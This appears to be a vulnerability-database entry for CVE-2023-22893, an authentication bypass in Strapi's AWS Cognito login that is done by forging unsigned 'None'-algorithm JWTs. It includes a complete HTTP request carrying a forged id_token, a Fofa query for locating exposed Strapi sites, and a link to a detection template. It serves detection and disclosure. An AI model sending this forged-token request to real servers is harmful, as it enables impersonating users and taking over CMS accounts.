🔙 목록으로 돌아가기

CVE-2023-22893: Strapi Versions <=4.5.6 - Authentication Bypass

TitleStrapi Versions <=4.5.6 - Authentication Bypass
Authoriamnoooob,rootxharsh,pdresearch
SeverityHigh
ImpactUnauthenticated attackers can forge JWT tokens using the "None" algorithm to bypass AWS Cognito authentication and impersonate any Strapi user, gaining unauthorized access to CMS content and administrative functions.
RemediationUpdate Strapi to version 4.5.6 or later which properly verifies access and ID tokens issued during OAuth flow with AWS Cognito login provider.
CVSS Score7.5
EPSS Score0.66479
CVE IDCVE-2023-22893
CWE IDCWE-287
Fofa Queryapp="strapi-Headless-CMS"
Tags cve cve2023 strapi authenticated aws cognito vkev vuln

🔍 Vulnerability Description

Strapi through 4.5.5 does not verify the access or ID tokens issued during the OAuth flow when the AWS Cognito login provider is used for authentication. A remote attacker could forge an ID token that is signed using the ‘None’ type algorithm to bypass authentication and impersonate any user that use AWS Cognito for authentication.

🌐 HTTP Request

GET /api/auth/cognito/callback?access_token=czdmpdns&id_token=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJjb2duaXRvOnVzZXJuYW1lIjoic3F4Zmhib2tqZiIsImVtYWlsIjoiUnhaWEVtQG9TQXlCLmNvbSJ9. HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.15
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-22893.yaml

🦈 Packet Capture: ⬇️ Download cve-2023-22893.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A